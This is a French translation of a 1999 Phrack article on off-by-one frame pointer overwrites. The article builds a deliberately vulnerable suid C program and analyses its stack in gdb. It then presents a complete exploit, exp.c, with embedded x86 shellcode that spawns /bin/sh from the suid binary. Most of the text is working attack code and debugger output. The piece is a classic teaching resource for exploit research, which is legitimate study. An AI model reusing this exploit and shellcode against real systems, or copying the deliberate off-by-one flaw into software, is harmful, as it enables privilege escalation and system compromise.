-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19 ] -------------------------[ The Frame Pointer Overwrite ] --------[ klog ] --------[ Traduction par tbowan pour arsouyes.org ----[ Introduction Les tableaux peuvent être débordés, et en écrasant des données critiques stockées dans l'espace d'adressage du processus cible, on peut modifier son flux d'exécution. Ce n'est pas nouveau. Cet article ne traitera pas de la manière d'exploiter les débordements de tampons [NDT : "buffer overflow" dans la suite], ni n'expliquera la vulnérabilité elle-même. Il va juste montrer qu'il est possible d'exploiter ce genre de vulnérabilité même dans les pires conditions, tel que lorsqu'on ne peut déborder le tableau que d'un seul octet. Plein d'autres techniques ésotériques où le but est d'exploiter un processus sûr dans la situation la plus hostile existent, y compris quand les privilèges sont retirés. Nous ne traiterons que du "one byte overflow" [NDT : débordement d'un seul octet]. ----[ L'objet de notre attaque Écrivons un programme suid pseudo vulnérable, que nous appelerons "suid". Il est écrit de manière à ce qu'un octet déborde de son tableau. ipdev:~/tests$ cat > suid.c #include func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(-1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c -o suid ipdev:~/tests$ Comme vous pouvez le voir, nous n'avons pas beaucoup de place pour exploiter ce programme. En fait, le débordement est causé par un seul octet de trop par rapport à la taille du tableau. Nous allons devoir l'utiliser de manière intelligente. Avant d'exploiter quoi que ce soit, nous devrions regarder ce que cet octet écrase vraiment (vous le savez probablement déjà mais... on s'en fiche). Réassemblons la pile avec gdb, au moment où le débordement à lieu. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) Comme on le sait, le processeur va d'abord mettre %eip sur la pile, via l'instruction CALL. Ensuite, notre petit programme va mettre %ebp au dessus, comme on le voit en *0x8048134. enfin, il active le cadre courant en décrémentant %esp par 0x104. ceci signifie que nos variables locales prendrons 0x104 octets de long (0x100 pour la chaine, 0x004 pour l'entier). Notez que l'espace des variables est physiquement aligné sur 4 octets, et donc, un buffer de 255 octets prendra autant de place qu'un buffer de 256. On peut maintenant avoir une idée de notre pile avant que le débordement n'ai lieu : saved_eip saved_ebp char buffer[255] char buffer[254] ... char buffer[000] int i Ceci signifie que l'octet qui débordera va écraser la sauvegarde du pointeur de cadre [NDT : saved frame pointer], qui est mis sur la pile au début de func(). Mais comment pouvons-nous utiliser cet octet pour modifier le flux d'exécution du programme ? Regardons ce qu'il arrive à l'image d'%ebp. Nous savons déjà qu'il est restauré à la fin de func(), comme on peut le voir en *0x804817e. Mais après ? (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Chouette ! Après que func() ait été appelé vers la fin du main(), %ebp va être restauré en %esp, comme on le voit en *0x80481b1. Ceci signifie qu'on peut donner une valeur arbitraire à %esp. Mais souvenez vous que cette valeur arbitraire n'est pas "vraiment" arbitraire, puisqu'on ne peut modifier que son dernier octet. Voyons voir si nous avons raison. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run `overflow 257` Starting program: /home/klog/tests/suid `overflow 257` Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) Il semblerait que nous avions raison. Après avoir débordé le buffer d'un 'A' (0x41), %ebp devient %esp, qui est incrémenté de 4 puisque %ebp est retiré de la pile juste avant le RET. Ce qui nous donne 0xbffffd41 + 0x4 = 0xbffffd45. ----[ Se préparer Qu'est ce que nous rapporte le fait de changer le pointeur de pile ? Nous ne pouvons pas changer directement la valeur d'%eip comme dans n'importe quelle exploitation de buffer overflow conventionnel, mais nous pouvons faire croire au processeur qu'il est ailleur. quand le processeur fait un retour depuis une procédure, il ne fait que dépiler le premier mot sur la pile, pensant que c'est l'%eip original. Mais si nous altérons %esp, nous pouvons faire dépiler n'importe quelle valeur de la pile par le processeur, comme si c'était %eip et donc, changer le flux d'exécution. Essayons de déborder le tableau en utilisant cette chaine : [nops][shellcode][&shellcode][%ebp_altering_byte] Pour le faire, nous devons d'abord déterminer avec quelle valeur nous allons altérer %ebp (et donc %esp). Regardons à ce que ressemble la pile quand le débordement aura eu lieu : saved_eip saved_ebp (altered by 1 byte) &shellcode \ shellcode | char buffer nops / int i Ici, nous voulons que %esp pointe vers &shellcode, pour que l'adresse du shellcode soit dépilée et mise dans %eip quand le processeur fera le retour du main(). Maintenant que nous avons toutes les connaissances que nous voulons pour exploiter notre programme vulnérable, nous devons extraire l'informations du processus pendant qu'il fonctionne dans le contexte où il sera exploité. Cette information consiste en l'adresse du buffer débordé et l'adresse de notre pointeur vers notre shellcode (&shellcode). Lançons le programme comme si nous voulions le déborder avec une chaine de 257 octets. Pour le faire, nous devons écrire un faut exploit qui va reproduire le contexte dans lequel nous exploiterons ce processus vulnérable. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) Bingo. Nous avons maintenant %esp juste après que le cadre de func() ait été activé. Avec cette valeur, on peut devinier que notre tableau se trouvera à l'adresse 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, et que le pointeur vers notre shellcode sera placé à l'adresse 0xbffffc64 + 0x100 (taille de notre "char buffer[256]") - 0x04 (taille de notre pointeur) = 0xbffffd60. ----[ L'heure de l'attaque Avoir ces valeurs nous permet d'écrire une version complète de l'exploit, incluant le shellcode, le pointeur vers le shellcode et l'octet de débordement. La valeur nécessaire pour écraser le dernier octets de %ebp est de 0x60 - 0x04 = 0x5c car, comme vous vous en souvenez, nous dépilons %ebp juste avant de retourner depuis le main(). Ces 4 octets seront compenseront pour que %ebp soit retiré de la pile. Comme pour notre pointeur vers le shellcode, nous n'avons pas besoin qu'il pointe vers une adresse précise. Tout ce qu'on a besoin est de faire retourner le processeur au milieu des nops, entre le début du tableau écrasé (0xbffffc64) et notre shellcode (0xbffffc64 - sizeof(shellcode)), comme dans un buffer overflow classique. Utilisons donc 0xbffffc74. ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Address of our buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ chouette ! Regardons un peut mieux sur ce qu'il s'est vraiment passé. Bien que nous ayons construit notre exploit autour de la théorie que j'ai mise dans ce papier, ça serait bien de regarder tout marcher ensemble. Vous pouvez vous arreter de lire maintenant si vous avez tout compris jusqu'ici, et commencer à chercher des vulnérabilités. ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) Plaçons d'abord des breakpoints pour surveiller prudement l'exploitation de notre programme suid pendant qu'elle se déroule sous nos yeux. Nous devrions tenter de suivre la valeur de notre pointeur de cadre écrasé jusqu'à ce que notre shellcode commence son exécution. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Ces premiers breakpoints nous permettrons de surveiller le contenu de %ebp avant et après avoir été empilé et dépilé. Ces valeurs correspondront à la valeur originale et écrasée. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Ici, nous voulons surveiller le transfert de notre %ebp écrasé vers %esp et le contenu de %esp jusqu'au retour du main(). Lançons alors le programme. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) Au début, nous voyons la valeur originale de %ebp. ensuite, dépilé de la pile, on voit qu'elle a été remplacée par celle dont le dernier octet a été écrasé par notre chaine, 0x5c. Après ça, %ebp va dans %esp et enfin, après que %ebp soit dépilé une nouvelle fois de la pile, %esp est incrémenté de 4 octets. Ce qui nous donne une valeur finale de 0xbffffd60. Regardons un peu ce qu'il s'y trouve. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) On peut voir que 0xbffffd60 est l'adresse d'un pointeur vers le milieu des nops, juste avant notre shellcode. Quand le processeur va retourner du main(), il va dépiler ce pointeur dans %eip, et sauter à l'adresse précise de 0xbffffc74. C'est à ce moment que notre shellcode sera exécuté. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ ----[ Conclusions Bien que cette technique semble chouette, quelque problèmes restent non résolus. Altérer le flux d'exécution d'un programme avec un seul octet pour écraser des données est, bien sûr, possible, mais sous quelles conditions ? En fait, reproduire le contexte d'exploitation peut être une tâche difficile dans un environnement hostile, ou pire, sur un hôte distant. Ça nécessitera que nous devinions la taille exacte de la pile de notre processus cible. À ce problème, on ajoute la nécessité que notre buffer soit juste à côté de la sauvegarde du pointeur de cadre, ce qui signifie que notre tableau doit être la première variable déclarée dans la fonction. il est inutile de dire que l'alignement doit aussi être pris en considération. Et si on parle d'architecture en big endian ? On ne peut se permettre de ne pouvoir écraser que l'octet de poids fort du pointeur de cadre, à moins d'avoir la possibilité d'atteindre la nouvelle adresse... Des conclusions peuvent être tirées de cette situation presque impossible à exploiter. Je serais bien surpris d'entendre que quelqu'un ai appliqué cette technique à une vulnérabilité réelle, mais ceci prouve qu'il n'y a pas de petits et gros débordements, ni de petites et grosses vulnérabilités. Toute faille est exploitable, il faut juste trouver comment. Merci à : binf, rfp, halflife, route ----[ EOF